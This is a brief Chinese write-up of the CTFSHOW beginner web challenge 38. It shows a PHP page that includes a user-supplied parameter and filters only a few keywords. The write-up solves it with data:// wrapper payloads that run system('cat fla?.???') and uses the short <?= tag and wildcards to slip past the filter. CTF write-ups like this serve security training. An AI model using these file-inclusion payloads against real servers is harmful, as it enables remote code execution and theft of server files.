CTFSHOW-入门-web38

解题思路

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 05:23:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|php|file/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

这题比刚才的新增了一些关键词的禁用 php和flie

本质上是相同的,在原来的payload上进行修改

?c=data://text/plain,<?php system('cat flag.php > 1.txt');?>
?c=data://text/plain,<?php system('cat fla?.??? > 1.txt');?>

仍然无法执行,因为这个伪协议里面的文本是有php的,那么题目不允许出现php,那么我就要修改成短代码的模式

?c=data://text/plain,<?=system('cat fla?.??? > 1.txt');?>

 


De4ault
無限進步
公告

粤ICP备2024275751号-3